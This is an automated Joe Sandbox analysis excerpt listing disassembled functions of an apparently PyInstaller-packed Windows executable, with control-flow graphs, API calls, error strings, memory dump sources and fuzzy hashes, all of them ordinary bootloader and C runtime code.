                                                    Function 00007FF6399B18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 247 7ff6399b18f0-7ff6399b192b call 7ff6399b3f70 250 7ff6399b1bc1-7ff6399b1be5 call 7ff6399bb870 247->250 251 7ff6399b1931-7ff6399b1971 call 7ff6399b76a0 247->251 256 7ff6399b1bae-7ff6399b1bb1 call 7ff6399bf36c 251->256 257 7ff6399b1977-7ff6399b1987 call 7ff6399bf9f4 251->257 261 7ff6399b1bb6-7ff6399b1bbe 256->261 262 7ff6399b19a1-7ff6399b19bd call 7ff6399bf6bc 257->262 263 7ff6399b1989-7ff6399b199c call 7ff6399b2760 257->263 261->250 268 7ff6399b19bf-7ff6399b19d2 call 7ff6399b2760 262->268 269 7ff6399b19d7-7ff6399b19ec call 7ff6399c4154 262->269 263->256 268->256 274 7ff6399b19ee-7ff6399b1a01 call 7ff6399b2760 269->274 275 7ff6399b1a06-7ff6399b1a87 call 7ff6399b1bf0 * 2 call 7ff6399bf9f4 269->275 274->256 283 7ff6399b1a8c-7ff6399b1a9f call 7ff6399c4170 275->283 286 7ff6399b1aa1-7ff6399b1ab4 call 7ff6399b2760 283->286 287 7ff6399b1ab9-7ff6399b1ad2 call 7ff6399bf6bc 283->287 286->256 292 7ff6399b1ad4-7ff6399b1ae7 call 7ff6399b2760 287->292 293 7ff6399b1aec-7ff6399b1b08 call 7ff6399bf430 287->293 292->256 298 7ff6399b1b0a-7ff6399b1b16 call 7ff6399b25f0 293->298 299 7ff6399b1b1b-7ff6399b1b29 293->299 298->256 299->256 301 7ff6399b1b2f-7ff6399b1b3e 299->301 303 7ff6399b1b40-7ff6399b1b46 301->303 304 7ff6399b1b60-7ff6399b1b6f 303->304 305 7ff6399b1b48-7ff6399b1b55 303->305 304->304 306 7ff6399b1b71-7ff6399b1b7a 304->306 305->306 307 7ff6399b1b8f 306->307 308 7ff6399b1b7c-7ff6399b1b7f 306->308 309 7ff6399b1b91-7ff6399b1bac 307->309 308->307 310 7ff6399b1b81-7ff6399b1b84 308->310 309->256 309->303 310->307 311 7ff6399b1b86-7ff6399b1b89 310->311 311->307 312 7ff6399b1b8b-7ff6399b1b8d 311->312 312->309
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _fread_nolock$Message
                                                    • String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
                                                    • API String ID: 677216364-3497178890
                                                    • Opcode ID: a30161ddcb53f347f25b1f2e6897933f8ffefd05ad1f673dd95f3daa5e00265f
                                                    • Instruction ID: 0691383bea9f0e564402ace8bcb2032a4ab56525f73c4c7fda01dcd669eb9f9f
                                                    • Opcode Fuzzy Hash: a30161ddcb53f347f25b1f2e6897933f8ffefd05ad1f673dd95f3daa5e00265f
                                                    • Instruction Fuzzy Hash: C6716171A18A9689EB60DF14D4902BA23A2EF48784F4C4035D98EC77DFEE2CE545AF40
                                                    Function 00007FFDFF165D30 Relevance: 16.6, APIs: 11, Instructions: 112COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 313 7ffdff165d30-7ffdff165d42 314 7ffdff165d44-7ffdff165d53 313->314 315 7ffdff165d58-7ffdff165d5d call 7ffdff19fa08 313->315 316 7ffdff165d68-7ffdff165d80 314->316 315->314 315->316 318 7ffdff165d86-7ffdff165d89 316->318 319 7ffdff165e87-7ffdff165e92 call 7ffdff166d54 316->319 321 7ffdff165e7e call 7ffdff166cd0 318->321 322 7ffdff165d8f-7ffdff165d92 318->322 328 7ffdff165e83-7ffdff165e85 319->328 321->328 325 7ffdff165d94-7ffdff165db4 GetLastError FlsGetValue 322->325 326 7ffdff165de6-7ffdff165de9 322->326 331 7ffdff165e24-7ffdff165e30 FlsSetValue 325->331 332 7ffdff165db6-7ffdff165dc2 FlsGetValue 325->332 329 7ffdff165e0d-7ffdff165e23 326->329 330 7ffdff165deb-7ffdff165df4 326->330 328->329 333 7ffdff165df6-7ffdff165e02 FlsGetValue 330->333 334 7ffdff165e08 330->334 335 7ffdff165dd2 331->335 336 7ffdff165e32-7ffdff165e4d call 7ffdff161da0 331->336 337 7ffdff1a2d3c-7ffdff1a2d42 332->337 338 7ffdff165dc8-7ffdff165dcc 332->338 333->334 339 7ffdff1a2d20-7ffdff1a2d37 FlsSetValue call 7ffdff175530 333->339 334->329 342 7ffdff165dd5-7ffdff165de4 SetLastError 335->342 345 7ffdff165e94-7ffdff165e9c FlsSetValue 336->345 346 7ffdff165e4f-7ffdff165e5a FlsSetValue 336->346 337->331 338->335 341 7ffdff165e6f-7ffdff165e79 338->341 339->334 341->342 342->329 348 7ffdff165e9e-7ffdff165ea3 call 7ffdff162070 345->348 349 7ffdff1a2d47-7ffdff1a2d58 FlsSetValue 346->349 350 7ffdff165e60-7ffdff165e6a call 7ffdff1655a4 call 7ffdff162070 346->350 348->335 349->348 350->341
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$__security_init_cookie
                                                    • String ID:
                                                    • API String ID: 2363391822-0
                                                    • Opcode ID: 8f547232962df72e5aab2ed36669f83cd3994ade9ea80b8f5e5f458e81cbbc14
                                                    • Instruction ID: 8f803c16639c6f9b730150009e8dea33ab06366a12a6581e3d5befd5b88d5f00
                                                    • Opcode Fuzzy Hash: 8f547232962df72e5aab2ed36669f83cd3994ade9ea80b8f5e5f458e81cbbc14
                                                    • Instruction Fuzzy Hash: F0414932F0D64386FB585B25E974D786351AF85BA0F184334E93E8A6DEDF2CA8419700
                                                    Function 00007FF6399B1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                    • API String ID: 2030045667-3659356012
                                                    • Opcode ID: d87fa84a4aa0b410e303472fda01f2480335fcf3cc3332f0b674b6a0e83d7b1a
                                                    • Instruction ID: b7f635d2939a4e9c54fc4397f5e1d3c783f9f7279b58712285b08c5a9790cbc6
                                                    • Opcode Fuzzy Hash: d87fa84a4aa0b410e303472fda01f2480335fcf3cc3332f0b674b6a0e83d7b1a
                                                    • Instruction Fuzzy Hash: 24414122B0864382EA249F15A8515BA63A2FF54BD4F5C4031DE4E87BDBEE7CE545AB00
                                                    Function 00007FFDFF166BCD Relevance: 13.6, APIs: 9, Instructions: 77memoryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast$Alloc
                                                    • String ID:
                                                    • API String ID: 2126241587-0
                                                    • Opcode ID: 852b0597fec4dfbc0bc9dd8f2a6ab49820f5ce1a9851ce7328ccfbc18031558d
                                                    • Instruction ID: 9fe3667d6a7aea3141e23f8222ff47b296106a97f8caa81975300b8d086e919d
                                                    • Opcode Fuzzy Hash: 852b0597fec4dfbc0bc9dd8f2a6ab49820f5ce1a9851ce7328ccfbc18031558d
                                                    • Instruction Fuzzy Hash: A8315E22F0DA4386FB585B24A975D382352AF84BA0F044734D83ECB7DEEF6CA4429700
                                                    Function 00007FF6399B11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                    • API String ID: 2030045667-2813020118
                                                    • Opcode ID: 837a0bdd7d7e9c0c650dbdb2abef573860da09095db3ef3adea652022a4cf349
                                                    • Instruction ID: 88179a86b7aa1330dad24a7fc1667e6f97bd9599c60cf048bf6b2e81c4725f7c
                                                    • Opcode Fuzzy Hash: 837a0bdd7d7e9c0c650dbdb2abef573860da09095db3ef3adea652022a4cf349
                                                    • Instruction Fuzzy Hash: 5F51A422A0864285E6609F16A8503BA62A3FF85794F4C4135ED4EC7BDFEF3CE545EB00
                                                    Function 00007FF6399CAD6C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1020 7ff6399cad6c-7ff6399cad92 1021 7ff6399cad94-7ff6399cada8 call 7ff6399c43d4 call 7ff6399c43f4 1020->1021 1022 7ff6399cadad-7ff6399cadb1 1020->1022 1036 7ff6399cb19e 1021->1036 1023 7ff6399cb187-7ff6399cb193 call 7ff6399c43d4 call 7ff6399c43f4 1022->1023 1024 7ff6399cadb7-7ff6399cadbe 1022->1024 1043 7ff6399cb199 call 7ff6399c9bf0 1023->1043 1024->1023 1026 7ff6399cadc4-7ff6399cadf2 1024->1026 1026->1023 1030 7ff6399cadf8-7ff6399cadff 1026->1030 1033 7ff6399cae01-7ff6399cae13 call 7ff6399c43d4 call 7ff6399c43f4 1030->1033 1034 7ff6399cae18-7ff6399cae1b 1030->1034 1033->1043 1039 7ff6399cb183-7ff6399cb185 1034->1039 1040 7ff6399cae21-7ff6399cae27 1034->1040 1041 7ff6399cb1a1-7ff6399cb1b8 1036->1041 1039->1041 1040->1039 1044 7ff6399cae2d-7ff6399cae30 1040->1044 1043->1036 1044->1033 1047 7ff6399cae32-7ff6399cae57 1044->1047 1049 7ff6399cae8a-7ff6399cae91 1047->1049 1050 7ff6399cae59-7ff6399cae5b 1047->1050 1053 7ff6399cae93-7ff6399caebb call 7ff6399cc90c call 7ff6399c9c58 * 2 1049->1053 1054 7ff6399cae66-7ff6399cae7d call 7ff6399c43d4 call 7ff6399c43f4 call 7ff6399c9bf0 1049->1054 1051 7ff6399cae82-7ff6399cae88 1050->1051 1052 7ff6399cae5d-7ff6399cae64 1050->1052 1056 7ff6399caf08-7ff6399caf1f 1051->1056 1052->1051 1052->1054 1080 7ff6399caebd-7ff6399caed3 call 7ff6399c43f4 call 7ff6399c43d4 1053->1080 1081 7ff6399caed8-7ff6399caf03 call 7ff6399cb594 1053->1081 1084 7ff6399cb010 1054->1084 1059 7ff6399caf21-7ff6399caf29 1056->1059 1060 7ff6399caf9a-7ff6399cafa4 call 7ff6399d2c2c 1056->1060 1059->1060 1064 7ff6399caf2b-7ff6399caf2d 1059->1064 1071 7ff6399cb02e 1060->1071 1072 7ff6399cafaa-7ff6399cafbf 1060->1072 1064->1060 1068 7ff6399caf2f-7ff6399caf45 1064->1068 1068->1060 1073 7ff6399caf47-7ff6399caf53 1068->1073 1076 7ff6399cb033-7ff6399cb053 ReadFile 1071->1076 1072->1071 1078 7ff6399cafc1-7ff6399cafd3 GetConsoleMode 1072->1078 1073->1060 1079 7ff6399caf55-7ff6399caf57 1073->1079 1082 7ff6399cb14d-7ff6399cb156 GetLastError 1076->1082 1083 7ff6399cb059-7ff6399cb061 1076->1083 1078->1071 1085 7ff6399cafd5-7ff6399cafdd 1078->1085 1079->1060 1086 7ff6399caf59-7ff6399caf71 1079->1086 1080->1084 1081->1056 1092 7ff6399cb173-7ff6399cb176 1082->1092 1093 7ff6399cb158-7ff6399cb16e call 7ff6399c43f4 call 7ff6399c43d4 1082->1093 1083->1082 1089 7ff6399cb067 1083->1089 1094 7ff6399cb013-7ff6399cb01d call 7ff6399c9c58 1084->1094 1085->1076 1091 7ff6399cafdf-7ff6399cb001 ReadConsoleW 1085->1091 1086->1060 1087 7ff6399caf73-7ff6399caf7f 1086->1087 1087->1060 1095 7ff6399caf81-7ff6399caf83 1087->1095 1099 7ff6399cb06e-7ff6399cb083 1089->1099 1101 7ff6399cb022-7ff6399cb02c 1091->1101 1102 7ff6399cb003 GetLastError 1091->1102 1096 7ff6399cb17c-7ff6399cb17e 1092->1096 1097 7ff6399cb009-7ff6399cb00b call 7ff6399c4368 1092->1097 1093->1084 1094->1041 1095->1060 1106 7ff6399caf85-7ff6399caf95 1095->1106 1096->1094 1097->1084 1099->1094 1108 7ff6399cb085-7ff6399cb090 1099->1108 1101->1099 1102->1097 1106->1060 1112 7ff6399cb092-7ff6399cb0ab call 7ff6399ca984 1108->1112 1113 7ff6399cb0b7-7ff6399cb0bf 1108->1113 1120 7ff6399cb0b0-7ff6399cb0b2 1112->1120 1117 7ff6399cb0c1-7ff6399cb0d3 1113->1117 1118 7ff6399cb13b-7ff6399cb148 call 7ff6399ca7c4 1113->1118 1121 7ff6399cb0d5 1117->1121 1122 7ff6399cb12e-7ff6399cb136 1117->1122 1118->1120 1120->1094 1124 7ff6399cb0da-7ff6399cb0e1 1121->1124 1122->1094 1125 7ff6399cb0e3-7ff6399cb0e7 1124->1125 1126 7ff6399cb11d-7ff6399cb128 1124->1126 1127 7ff6399cb103 1125->1127 1128 7ff6399cb0e9-7ff6399cb0f0 1125->1128 1126->1122 1130 7ff6399cb109-7ff6399cb119 1127->1130 1128->1127 1129 7ff6399cb0f2-7ff6399cb0f6 1128->1129 1129->1127 1131 7ff6399cb0f8-7ff6399cb101 1129->1131 1130->1124 1132 7ff6399cb11b 1130->1132 1131->1130 1132->1122
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
                                                    • Instruction ID: 5748faccd5ef5678ca2b6ef09e05b2af5f75f984602b9b99672265fd744ff17d
                                                    • Opcode Fuzzy Hash: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
                                                    • Instruction Fuzzy Hash: F6C1CF22E0C68791EB609F1598402BE7792EB91B80F5D0131EA4E837DBCE7DE855EF10
                                                    Function 00007FF6399B33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(?,00007FF6399B3534), ref: 00007FF6399B3411
                                                      • Part of subcall function 00007FF6399B29E0: GetLastError.KERNEL32(?,?,?,00007FF6399B342E,?,00007FF6399B3534), ref: 00007FF6399B2A14
                                                      • Part of subcall function 00007FF6399B29E0: FormatMessageW.KERNEL32(?,?,?,00007FF6399B342E), ref: 00007FF6399B2A7D
                                                      • Part of subcall function 00007FF6399B29E0: MessageBoxW.USER32 ref: 00007FF6399B2ACF
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ErrorFileFormatLastModuleName
                                                    • String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
                                                    • API String ID: 517058245-2863816727
                                                    • Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
                                                    • Instruction ID: 0b821c11b5d6de232619a43c745e28e1b4ccaa86e4296a8c93d4fa5f0bbe5a05
                                                    • Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
                                                    • Instruction Fuzzy Hash: EF216B61B1858291FA21DF25E8513B96263FF5C384F880136D65DC67EFEE6CE508AB00
                                                    Function 00007FF6399CEC9C Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight$_isindst
                                                    • String ID:
                                                    • API String ID: 4170891091-0
                                                    • Opcode ID: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
                                                    • Instruction ID: f4e79b71904c1ff37af8a669b50b98185434cf2768d2b4c179c850260e5e5c11
                                                    • Opcode Fuzzy Hash: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
                                                    • Instruction Fuzzy Hash: 5251E772F042158FFB24DFA89D556BC27A2AB10399F580135DD1E97BEADF38A8019F00
                                                    Function 00007FF6399C4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                    • String ID:
                                                    • API String ID: 2780335769-0
                                                    • Opcode ID: 26d7b7321f63d0f75eae76757bf07adbfaa4e90fbb1b3f47974b354d61199844
                                                    • Instruction ID: 0f1b07eacf3df4d079e50d352f0a95682faf805fb36bbea8a3f3ab395b8af27a
                                                    • Opcode Fuzzy Hash: 26d7b7321f63d0f75eae76757bf07adbfaa4e90fbb1b3f47974b354d61199844
                                                    • Instruction Fuzzy Hash: 9B515A22F086428AFB14CF71D8513BD23A2AB58B98F188535DE0A877DEDF38D4819F50
                                                    Function 00007FF6399C4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 1279662727-0
                                                    • Opcode ID: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
                                                    • Instruction ID: d86e09f8cbbad61bca77b3c1c794342783440ca4a578cbe66bbc096c242f6ef3
                                                    • Opcode Fuzzy Hash: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
                                                    • Instruction Fuzzy Hash: A4418322E1878283F7548F6199503696362FF947A4F149334E69E83BDADF6CA5E09F00
                                                    Function 00007FF6399BBF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                                    • String ID:
                                                    • API String ID: 3251591375-0
                                                    • Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
                                                    • Instruction ID: 8a9f39432b948cad89da80364e2310a65faae9c4efa567a0c76dc4086c1912a0
                                                    • Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
                                                    • Instruction Fuzzy Hash: A6313B21E0C24341FA54AF6994563BA23A3DF45388F4C0039EA4EC73DFEE6CA844AE11
                                                    Function 00007FF6399BF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
